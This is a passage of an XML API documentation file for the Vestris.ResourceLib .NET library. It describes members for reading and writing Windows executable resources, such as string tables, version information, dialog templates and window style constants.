by type\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.CreateResource(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            Create a resource of a given type.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResourceGlobal\">Pointer to the resource in memory.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"size\">Size of resource.</param>\n            <returns>A specialized or a generic resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.EnumResourceLanguages(System.IntPtr,System.IntPtr,System.IntPtr,System.UInt16,System.IntPtr)\">\n            <summary>\n            Enumerate resource languages within a resource by name\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpszType\">Resource type.</param>\n            <param name=\"lpszName\">Resource name.</param>\n            <param name=\"wIDLanguage\">Language ID.</param>\n            <param name=\"lParam\">Additional parameter.</param>\n            <returns>TRUE if successful.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Save(System.String)\">\n            <summary>\n            Save resource to a file.\n            </summary>\n            <param name=\"filename\">Target filename.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.Dispose\">\n            <summary>\n            Dispose resource info object.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceInfo.Item(System.String)\">\n            <summary>\n            A collection of resources.\n            </summary>\n            <param name=\"type\">Resource type.</param>\n            <returns>A collection of resources of a given type.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceInfo.System#Collections#IEnumerable#GetEnumerator\">\n            <summary>\n            Enumerates all resources within this resource info collection.\n            </summary>\n            <returns>Resources enumerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceTableHeader\">\n            <summary>\n            A resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._header\">\n            <summary>\n            Resource table header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.ResourceTableHeader._key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Key\">\n            <summary>\n            Resource table key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceTableHeader.Header\">\n            <summary>\n            Resource header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor\">\n            <summary>\n            A new resource table header.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.String)\">\n            <summary>\n            An resource table header with a specific key.\n            </summary>\n            <param name=\"key\">resource key</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.#ctor(System.IntPtr)\">\n            <summary>\n            An existing resource table.\n            </summary>\n            <param name=\"lpRes\">Pointer to resource table data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Read(System.IntPtr)\">\n            <summary>\n            Read the resource header, return a pointer to the end of it.\n            </summary>\n            <param name=\"lpRes\">Top of header.</param>\n            <returns>End of header, after the key, aligned at a 32 bit boundary.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource table.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString\">\n            <summary>\n            String representation.\n            </summary>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceTableHeader.ToString(System.Int32)\">\n            <summary>\n            String representation.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.ResourceUtil\">\n            <summary>\n            Resource utilities.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.Int64)\">\n            <summary>\n            Align an address to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Align(System.IntPtr)\">\n            <summary>\n            Align a pointer to a 4-byte boundary.\n            </summary>\n            <param name=\"p\">Pointer to an address in memory.</param>\n            <returns>4-byte aligned pointer.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a WORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PadToDWORD(System.IO.BinaryWriter)\">\n            <summary>\n            Pad data to a DWORD.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>New position within the binary stream.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.HiWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.LoWord(System.UInt32)\">\n            <summary>\n            Returns the high WORD from a DWORD value.\n            </summary>\n            <param name=\"value\">WORD value.</param>\n            <returns>High WORD.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.WriteAt(System.IO.BinaryWriter,System.Int64,System.Int64)\">\n            <summary>\n            Write a value at a given position.\n            Used to write a size of data in an earlier located header.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"value\">Value to write.</param>\n            <param name=\"address\">Address to write the value at.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.Pad(System.IO.BinaryWriter,System.UInt16)\">\n            <summary>\n            Pad bytes.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <param name=\"len\">Number of bytes to write.</param>\n            <returns>New position within the stream.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.NEUTRALLANGID\">\n            <summary>\n            Neutral language ID.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.ResourceUtil.USENGLISHLANGID\">\n            <summary>\n            US-English language ID.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.MAKELANGID(System.Int32,System.Int32)\">\n            <summary>\n            Make a language ID from a primary language ID (low-order 10 bits) and a sublanguage (high-order 6 bits).\n            </summary>\n            <param name=\"primary\">Primary language ID.</param>\n            <param name=\"sub\">Sublanguage ID.</param>\n            <returns>Microsoft language ID.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.PRIMARYLANGID(System.UInt16)\">\n            <summary>\n            Return the primary language ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID</param>\n            <returns>primary language ID (low-order 10 bits)</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.SUBLANGID(System.UInt16)\">\n            <summary>\n            Return the sublanguage ID from a Microsoft language ID.\n            </summary>\n            <param name=\"lcid\">Microsoft language ID.</param>\n            <returns>Sublanguage ID (high-order 6 bits).</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.GetBytes``1(``0)\">\n            <summary>\n            Returns the memory representation of an object.\n            </summary>\n            <typeparam name=\"T\">Object type.</typeparam>\n            <param name=\"anything\">Data.</param>\n            <returns>Object's representation in memory.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToList``1(System.UInt32)\">\n            <summary>\n            Get a collection of flags from a flag value.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag value.</param>\n            <returns>Collection of flags.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.ResourceUtil.FlagsToString``1(System.UInt32)\">\n            <summary>\n            Get a string representation of flags.\n            </summary>\n            <typeparam name=\"T\">Flag collection type.</typeparam>\n            <param name=\"flagValue\">Flag vlaue</param>\n            <returns>String representation of flags in the f1 | ... | fn format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information that can be displayed for a particular language and code page.\n            http://msdn.microsoft.com/en-us/library/aa908808.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor\">\n            <summary>\n            A new string file-version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read an existing string file-version resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string file-version resource.</param>\n            <returns>Pointer to the end of the string file-version resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string file-version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Default\">\n            <summary>\n            Default (first) string table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringFileInfo.Item(System.String)\">\n            <summary>\n            Indexed string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>A string table at a given index.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of StringFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the StringFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringResource\">\n            <summary>\n            A string, RT_STRING resource.\n            Each string resource block has 16 strings, each represented as an ordered pair \n            (length, text). Length is a WORD that specifies the size, in terms of the number of characters, \n            in the text that follows. Text follows length and contains the string in Unicode without the \n            NULL terminating character. There may be no characters in text, in which case length is zero.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Strings\">\n            <summary>\n            String collection in this resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.Item(System.UInt16)\">\n            <summary>\n            Returns a string of a given Id.\n            </summary>\n            <param name=\"id\">String Id.</param>\n            <returns>A string of a given Id.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor\">\n            <summary>\n            A new string resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.UInt16)\">\n            <summary>\n            A new string resource of a given block id.\n            </summary>\n            <param name=\"blockId\">Block id.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.GetBlockId(System.Int32)\">\n            <summary>\n            A string with ID, stringId, is located in the block with ID given by the following formula.\n            http://support.microsoft.com/kb/q196774/\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringResource.BlockId\">\n            <summary>\n            String table block id.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the strings.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Address of the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringResource.ToString\">\n            <summary>\n            String representation of the strings resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains language \n            and code page formatting information for the strings. A code page is an ordered character set.\n            See http://msdn.microsoft.com/en-us/library/aa909192.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Strings\">\n            <summary>\n            Resource strings.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor\">\n            <summary>\n            A new string table.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.String)\">\n            <summary>\n            A new string table.\n            </summary>\n            <param name=\"key\">String table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the table.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Read(System.IntPtr)\">\n            <summary>\n            Read a string table.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the string table.</param>\n            <returns>Pointer to the end of the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the string table to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.LanguageID\">\n            <summary>\n            The four most significant digits of the key represent the language identifier.\n            Each Microsoft Standard Language identifier contains two parts: the low-order 10 bits \n            specify the major language, and the high-order 6 bits specify the sublanguage.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.CodePage\">\n            <summary>\n            The four least significant digits of the key represent the code page for which the data is formatted.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTable.Item(System.String)\">\n            <summary>\n            Returns an entry within the string table.\n            </summary>\n            <param name=\"key\">Key.</param>\n            <returns>An entry within the string table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the string table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the strings table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTableEntry\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains a string \n            that describes a specific aspect of a file, such as a file's version, its copyright notices, \n            or its trademarks.\n            http://msdn.microsoft.com/en-us/library/aa909025.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry._value\">\n            <summary>\n            The value is always stored double-null-terminated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry.ConsiderPaddingForLength\">\n            <summary>\n            When set to true the length in the header will also contain the padding bytes when writing to a stream.\n            The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Header\">\n            <summary>\n            String resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Key\">\n            <summary>\n            Key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.StringValue\">\n            <summary>\n            String value (removing the double-null-terminator).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Value\">\n            <summary>\n            Value.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.String)\">\n            <summary>\n            A new string resource.\n            </summary>\n            <param name=\"key\">Key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Read(System.IntPtr)\">\n            <summary>\n            Read a string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a string resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32\">\n            <summary>\n            User32.dll functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ICONINFO\">\n            <summary>\n            Contains information about an icon or a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.IsIcon\">\n            <summary>\n            Specifies whether this structure defines an icon or a cursor. \n            A value of TRUE specifies an icon; FALSE specifies a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.xHotspot\">\n            <summary>\n            Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is \n            always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.yHotspot\">\n            <summary>\n            Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot \n            is always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.MaskBitmap\">\n            <summary>\n            Specifies the icon bitmask bitmap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.ColorBitmap\">\n            <summary>\n            Handle to the icon color bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.GetDC(System.IntPtr)\">\n            <summary>\n            Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. \n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the DC for the specified window's client area. \n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.ReleaseDC(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Releases a device context (DC), freeing it for use by other applications.\n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be released.</param>\n            <param name=\"hDC\">A handle to the DC to be released.</param>\n            <returns>\n            The return value indicates whether the DC was released. If the DC was released, the return value is 1.\n            If the DC was not released, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGTEMPLATE\">\n            <summary>\n            The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. \n            This structure, always the first in a standard template for a dialog box, \n            also specifies the number of controls in the dialog box and therefore specifies \n            the number of subsequent DIALOGITEMTEMPLATE structures in the template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cdit\">\n            <summary>\n            Specifies the number of items in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE\">\n            <summary>\n            The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE\">\n            <summary>\n            An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes\n            the dialog box and specifies the number of controls in the dialog box. For each \n            control in a dialog box, an extended dialog box template has a block of data that\n            uses the DIALOGEXITEMTEMPLATE format to describe the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.dlgVer\">\n            <summary>\n            Specifies the version number of the extended dialog box template. This member must be 1.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.signature\">\n            <summary>\n            Indicates whether a template is an extended dialog box template. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cDlgItems\">\n            <summary>\n            Specifies the number of controls in the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE\">\n            <summary>\n            A control entry in an extended dialog template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.WindowStyles\">\n            <summary>\n            Window styles.\n            http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_OVERLAPPED\">\n            <summary>\n            Creates an overlapped window. An overlapped window has a title bar and \n            a border. Same as the WS_TILED style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_POPUP\">\n            <summary>\n            Creates a pop-up window. This style cannot be used with the WS_CHILD style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CHILD\">\n            <summary>\n            Creates a child window. A window with this style cannot have\n            a menu bar. This style cannot be used with the WS_POPUP style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MINIMIZE\">\n            <summary>\n            Creates a window that is initially minimized. Same as the WS_ICONIC style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VISIBLE\">\n            <summary>\n            Creates a window that is initially visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DISABLED\">\n            <summary>\n            Creates a window that is initially disabled. A disabled window cannot receive \n            input from the user.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPSIBLINGS\">\n            <summary>\n            Clips child windows relative to each other; that is, when a particular\n            child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips\n            all other overlapping child windows out of the region of the child window \n            to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap,\n            it is possible, when drawing within the client area of a child window, to draw\n            within the client area of a neighboring child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPCHILDREN\">\n            <summary>\n            Excludes the area occupied by child windows when drawing occurs \n            within the parent window. This style is used when creating the parent window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MAXIMIZE\">\n            <summary>\n            Creates a window that is initially maximized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CAPTION\">\n            <summary>\n            Creates a window that has a title bar (includes the WS_BORDER style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_BORDER\">\n            <summary>\n            Creates a window that has a thin-line border.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DLGFRAME\">\n            <summary>\n            Creates a window that has a border of a style typically used with dialog \n            boxes. A window with this style cannot have a title bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VSCROLL\">\n            <summary>\n            Creates a window that has a vertical scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_HSCROLL\">\n            <summary>\n            Creates a window that has a horizontal scroll 